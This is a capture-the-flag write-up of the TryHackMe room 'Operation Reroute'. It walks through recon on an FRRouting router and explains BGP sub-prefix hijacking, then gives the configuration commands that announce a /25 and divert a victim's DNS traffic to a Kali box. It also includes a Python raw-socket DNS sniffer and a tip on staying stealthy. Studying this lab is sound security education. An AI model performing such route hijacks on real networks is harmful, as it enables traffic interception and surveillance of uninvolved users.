> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-reroute.md). Agents can also search and read this documentation through its [MCP server](https://0xb0b.gitbook.io/writeups/~gitbook/mcp).

# Operation Reroute

Can you intercept traffic from another ISP? - by munra

{% embed url="<https://tryhackme.com/room/operationreroute>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

We've gained access to one of TryRouteMe's (TRM) core network devices through a Kali implant. We should now be able to hijack traffic for any of their users! One of our main objectives while hacking TRM was to spy on one of their VIP users. But wait... It seems our initial research was wrong and our target isn't even a client of TRM!

We know for a fact that the victim uses Doogle's DNS at 10.10.10.10. Strangely enough, it seems there's more than one server with such an IP in the world... What does this even mean? And how are we supposed to hijack the victim's traffic if we only have access to TTM's router?

Your Kali jumpbox can be reached via:

{% code overflow="wrap" expandable="true" %}

```
telnet MACHINE_IP 6001
```

{% endcode %}

From the Kali machine, you can SSH into the TTM router at IP 192.168.1.1 with the following credentials:

Credentials

<table><thead><tr><th width="113.5">Username</th><th>Password</th><th>IP address</th><th>Connection via</th></tr></thead><tbody><tr><td>ttm</td><td>ttm2024</td><td>192.168.1.1</td><td>ssh ttm@192.168.1.1</td></tr></tbody></table>

***Note:** The domain name for this challenge is contained in the DNS requests made by the victim to the 10.10.10.10 server.*

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F30rs4EzEMYpQwpxkboeC%2Fgrafik.png?alt=media&amp;token=2409a2d8-8fb5-4a5e-8a3e-44a6f599f788" alt=""><figcaption></figcaption></figure>

We have access to one of TryRouteMe's (TRM) core network devices through a Kali implant in `AS 1111`. Our target is a VIP user in `AS 2222` whose machine sends DNS queries to `10.10.10.10` in `AS 3333`. Two DNS servers share that same IP address in different autonomous systems (`AS 1111` and `AS 3333`).

The victim's DNS queries for `10.10.10.10` currently travel through `TIWS` to `NICENET` `AS 3333`, where `DNS2` lives. Our goal is to reroute those queries to `DNS1` in `AS 1111` so we can read them.

## Recon

We connect to the kali box, and then connect to TryRouteMes router.

Connect to the Kali box:

{% code overflow="wrap" expandable="true" %}

```
telnet 10.112.175.127 6001
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEGQeJcxrsY6IiptYxcbX%2Fgrafik.png?alt=media&amp;token=e7ff1c9b-9c14-449f-b718-2b719d2271b6" alt=""><figcaption></figcaption></figure>

SSH into the TryRouteMe router:

{% code overflow="wrap" expandable="true" %}

```
ssh ttm@192.168.1.1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI7jDs3VGBPjEcVE82JYn%2Fgrafik.png?alt=media&amp;token=2e7296c9-bc56-446d-80c1-5ae454a73613" alt=""><figcaption></figcaption></figure>

After SSH-ing into the TryRouteMe router `ssh ttm@192.168.1.1`, we land directly in a FRRouting CLI. FRRouting is an open-source routing software suite for Linux that implements BGP, OSPF, and other routing protocols. With that an ordinary Linux machine turns into a fully functional network router with a Cisco-like command-line interface.

We'll familiarize ourselves with the suite and take a look at the various commands; first, we want to find out more about the current configuration.

{% code overflow="wrap" expandable="true" %}

```
?
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs2iii4FZrcH97ixo148r%2Fgrafik.png?alt=media&amp;token=a0f343d7-4602-47f4-bb59-f2e4d58ff6b0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
show ? 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0sNrNByJfk5ifOmVrp4o%2Fgrafik.png?alt=media&amp;token=5baa2186-8c99-4104-a69e-941cdddada6a" alt=""><figcaption></figcaption></figure>

Running `show running-config` reveals the key facts.

{% code overflow="wrap" expandable="true" %}

```
show running-config
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgvmXGaFXBgX3p9nQ1CyU%2Fgrafik.png?alt=media&amp;token=bcbcb3c0-6f80-482a-a779-292dcf644434" alt=""><figcaption></figcaption></figure>

The config starts with general settings; the router's hostname is `TTM-CORE-01`, it is running `FRR version 10.0`, and IPv6 is disabled.&#x20;

{% code overflow="wrap" expandable="true" %}

```
frr version 10.0
frr defaults traditional
hostname TTM-CORE-01
log syslog informational
no ipv6 forwarding
```

{% endcode %}

The prefix lists are filters that control what routes are allowed in and out.

With `bgp-in permit any` the router accepts whatever routes its neighbor sends it. There are no filters on incoming routes. We have two `bgp-out` entries. Only `192.168.1.0/24` and `10.10.10.0/24` are allowed to be advertised outward. Anything else the router tries to announce gets silently dropped.&#x20;

{% code overflow="wrap" expandable="true" %}

```
ip prefix-list bgp-in seq 10 permit any
ip prefix-list bgp-out seq 10 permit 192.168.1.0/24
ip prefix-list bgp-out seq 20 permit 10.10.10.0/24
```

{% endcode %}

The three interfaces tell us where the router sits in the network.&#x20;

The `eth0` interface at `192.168.1.1/24` is the internal LAN where our Kali machine is. Interface eth1 at `10.1.1.1/30` is a narrow point-to-point link with only two usable IPs, connecting to `TIWS`, the router in `AS 2222`, and serves as the BGP peering connection between the two autonomous systems. The third interface at `10.10.10.1/24` is the subnet where `DNS1` sits at `10.10.10.10`.

{% code overflow="wrap" expandable="true" %}

```
interface eth0
 ip address 192.168.1.1/24

interface eth1
 ip address 10.1.1.1/30

interface eth2
 ip address 10.10.10.1/24
```

{% endcode %}

The BGP section is where it gets interesting. The Border Gateway Protocol (BGP) is the routing protocol that autonomous systems use to tell each other which IP ranges they can reach.

The router belongs to `AS 1111` and has one BGP neighbor: `10.1.1.2` in `AS 2222` (TIWS). The two `network` statements tell BGP to advertise `10.10.10.0/24` and `192.168.1.0/24` to that neighbor. `redistribute connected` also shares routes for any directly connected subnet. The last two lines apply our prefix lists: `bgp-in` filters what we receive, `bgp-out` filters what we send.

So `AS 1111` is announcing `10.10.10.0/24` to `AS 2222`. But we know from the scenario that the victim's DNS traffic goes to `AS 3333`, not to here. That means `AS 2222` also receives a `10.10.10.0/24` route from `AS 3333` and prefers that one, probably because it's a more direct path. Both routes are the same size `/24`, so BGP tiebreakers decide, and the traffic goes to `AS 3333`.

{% code overflow="wrap" expandable="true" %}

```
router bgp 1111
 neighbor 10.1.1.2 remote-as 2222

 address-family ipv4 unicast
  network 10.10.10.0/24
  network 192.168.1.0/24
  redistribute connected
  neighbor 10.1.1.2 prefix-list bgp-in in
  neighbor 10.1.1.2 prefix-list bgp-out out
 exit-address-family
```

{% endcode %}

From `show ip bgp` we see that `10.10.10.0/24` appears twice. One locally and one via the path 2222 3333. The local route is marked as best (\*>), but that only matters for this router's own forwarding. `TIWS` in `AS 2222` still prefers the shorter path through `AS 3333`.

{% code overflow="wrap" expandable="true" %}

```
show ip bgp
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYOZR4LSCTPjPzPhW5QRk%2Fgrafik.png?alt=media&amp;token=09815fa7-213e-4ca7-bfd1-3621dc74662c" alt=""><figcaption></figcaption></figure>

We have one BGP neighbour at `10.1.1.2` (`TIWS`, `AS 2222`) and the session is up.

{% code overflow="wrap" expandable="true" %}

```
show ip bgp summary
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6r7bZSdN7XYIqoSVo1IS%2Fgrafik.png?alt=media&amp;token=ab4f5857-95fa-479f-8a69-e240ee9f37b8" alt=""><figcaption></figcaption></figure>

## BGP Hijacking Detour

A detailed explanation of BGP and BGP Hijacking can be found here:&#x20;

{% embed url="<https://www.cloudflare.com/learning/security/glossary/bgp-hijacking/>" %}

### What is BGP?

> The Border Gateway Protocol (BGP) is the routing protocol autonomous systems (AS) use to exchange reachability information. While DNS resolves domain names to IP addresses, BGP determines which routes are available to reach a given IP prefix and selects a preferred path based on routing policy and path attributes. AS-path length is one factor in that choice, but BGP does not simply pick the route with the fewest hops.
>
> BGP relies on autonomous systems (AS). These are large networks or groups of networks managed by a single entity (e.g., an Internet service provider or a large organization with a multihomed network) that share a unified routing policy. Each AS is identified by a unique Autonomous System Number (ASN). BGP routers continuously update their routing tables as autonomous systems advertise their IP prefixes, so each router can select a path to every prefix according to its routing policy.

{% embed url="<https://www.cloudflare.com/learning/security/glossary/bgp-hijacking/#what-is-bgp>" %}

### How can BGP be hijacked?

> When an AS announces prefixes it doesn't actually control and nothing filters the announcement, it can propagate into routing tables across the Internet. Until someone notices and corrects it, traffic for those addresses flows to that AS.
>
> For a hijack to take effect, the announcement has to be preferred over the legitimate one, in one of two ways:
>
> 1. **A more specific route:** announcing a smaller address range than the real owner does.
> 2. **A shorter route:** announcing what looks like a closer path to the destination.

{% embed url="<https://www.cloudflare.com/learning/security/glossary/bgp-hijacking/#how-can-bgp-be-hijacked>" %}

When a router forwards a packet, it uses the most specific installed route that matches the destination (the longest-prefix match rule). A `/25` therefore takes precedence over a `/24` for any address inside that `/25` range.

This is possible because BGP has no built-in proof of prefix ownership; a neighbour trusts what it's told.

{% hint style="info" %}
A more specific route wins.
{% endhint %}

For example, if `AS 3333` advertises `10.10.10.0/24` (covering `.0` through `.255`) and `AS 1111` advertises `10.10.10.0/25` (covering `.0` through `.127`), any traffic for `10.10.10.10` goes to `AS 1111`.The `/25` is more specific, so it wins unconditionally.

BGP has no built-in authentication of route ownership. Any AS can announce any prefix, and neighbours trust those announcements.&#x20;

{% hint style="info" %}
BGP installs both the /24 and the /25 as separate routes. It doesn't compare them. The forwarding table then uses longest-prefix match, so a packet for any IP inside the /25 follows the /25, no matter who announced it.
{% endhint %}

## Exploitation

Now that we know a router will forward on the more specific prefix regardless of who announced it, we can put that to use. We need four changes to the router: update the prefix filter, create a static route, advertise the `/25` via BGP, and redirect the traffic to the Kali machine.

We run `configure terminal` to make the changes like shown below. \
Each step is explained afterwards.

{% code overflow="wrap" expandable="true" %}

```
configure terminal
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ip prefix-list bgp-out seq 15 permit 10.10.10.0/25
ip route 10.10.10.0/25 10.10.10.1
router bgp 1111
 address-family ipv4 unicast
  network 10.10.10.0/25
 exit-address-family
exit
ip route 10.10.10.10/32 192.168.1.100
end
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDl6ViYVbdWIhcrPhpmcr%2Fgrafik.png?alt=media&amp;token=4b91b6d8-81d9-4a73-98e1-8b3cb45528b7" alt=""><figcaption></figcaption></figure>

First, we add the more-specific prefix to the outbound filter.&#x20;

The existing `bgp-out` prefix list only permits `/24`. Without adding a rule for `/25`, the router would filter out our hijack route before it ever reaches `TIWS`.

{% code overflow="wrap" expandable="true" %}

```
ip prefix-list bgp-out seq 15 permit 10.10.10.0/25
```

{% endcode %}

Next, we install a static route for the `/25` so BGP will originate it (a `network` statement needs a matching route in the table). The next hop here is the router's own eth2 address; this is what let BGP advertise the prefix in the lab.

{% code overflow="wrap" expandable="true" %}

```
ip route 10.10.10.0/25 10.10.10.1
```

{% endcode %}

Now we advertise the `/25` via BGP. This is the hijack itself. `TIWS` now receives `10.10.10.0/25` from `AS 1111`, which is more specific than the `/24` from `AS 3333`.

{% code overflow="wrap" expandable="true" %}

```
router bgp 1111
 address-family ipv4 unicast
  network 10.10.10.0/25
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
exit-address-family
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
exit
```

{% endcode %}

Finally we redirect traffic for `10.10.10.10` to the Kali machine on `192.168.1.100`. The hijacked traffic arrives at the `TryRouteMe` router, but `DNS1` at `10.10.10.10` isn't accessible from Kali. This static route sends the packets to the Kali machine  instead.

{% code overflow="wrap" expandable="true" %}

```
ip route 10.10.10.10/32 192.168.1.100
```

{% endcode %}

Back on the kali machine we then have to add the destination IP to Kali's interface. Without this, Kali's kernel drops incoming packets destined for `10.10.10.10` because it doesn't recognize that IP as its own.

{% code overflow="wrap" expandable="true" %}

```
ip addr add 10.10.10.10/32 dev eth0
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPyv1CmFMcGIcRt9p9ygv%2Fgrafik.png?alt=media&amp;token=9741350a-c0c2-4b1d-a491-b1876637c95b" alt=""><figcaption></figcaption></figure>

Next, we just need to capture the incoming DNS queries. The machine has no `tcpdump` or `tshark` installed and no network access to fetch packages, so we write a raw-socket DNS sniffer in Python using Claude. Shortly after the queries arrive from the victim and we are able to see the internal domain name the victim is trying to resolve and a flag encoded in base64.

{% code overflow="wrap" expandable="true" %}

```python
python3 << 'EOF'
import socket, struct

def parse_dns_name(data, offset):
    labels = []
    while True:
        length = data[offset]
        if length == 0:
            break
        offset += 1
        labels.append(data[offset:offset+length].decode())
        offset += length
    return '.'.join(labels)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
print("Listening for DNS queries...")
while True:
    data, addr = s.recvfrom(65535)
    ip_header_len = (data[0] & 0x0F) * 4
    dst_port = struct.unpack('!H', data[ip_header_len+2:ip_header_len+4])[0]
    if dst_port == 53:
        try:
            dns_data = data[ip_header_len+8:]
            name = parse_dns_name(dns_data, 12)
            src_ip = socket.inet_ntoa(data[12:16])
            dst_ip = socket.inet_ntoa(data[16:20])
            print(f"DNS Query: {name} from {src_ip} to {dst_ip}")
        except:
            pass
EOF
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKuhGyUUj7TSIEuidCEKW%2Fgrafik.png?alt=media&amp;token=109c5764-2f0f-4dab-a668-3e3953db64a7" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
We solved the challenge by capturing the victim's DNS queries and reading the flag with one caveat. Our setup only sinks the traffic. The hijacked queries reach the Kali machine, but never get answered. So from the victim's side DNS resolution simply breaks. A stealthier attack would be to forward each query on to the real DNS server (or send back a crafted reply) so the victim notices nothing.
{% endhint %}

## Real-world implications <a href="#real-world-implications" id="real-world-implications"></a>

Sub-prefix hijacking is not just a theoretical concept. The same technique scales from just a CTF lab to nation-state operations, and the damage depends on what the threat actor does with the redirected traffic.

**Surveillance and data exfiltration**

A silent hijack on DNS lets an attacker log every domain a target resolves including browsing habits, internal service names, API endpoints, without ever compromising the target's machine, as shown in this scenario. Applied to a broader prefix, it would be possible to capture traffic from thousands of users. If the traffic is unencrypted, the attacker is able to read it in full.

**Phishing and credential theft**

Instead of forwarding the request to the real server, an attacker can send back fake DNS responses that redirect the victim to a fake website. The victim enters their login credentials on a page that looks identical to the real one.&#x20;

**Censorship**

A government entity / state-level actor that controls a large AS can announce more specific prefixes for services it wishes to block. Traffic for these services is redirected to a blackhole or a blocking page.

**Supply-chain attacks**

By taking over the prefix of a software update server or a package registry, an attacker could deliver modified binaries to anyone whose traffic passes through the hijacked route.
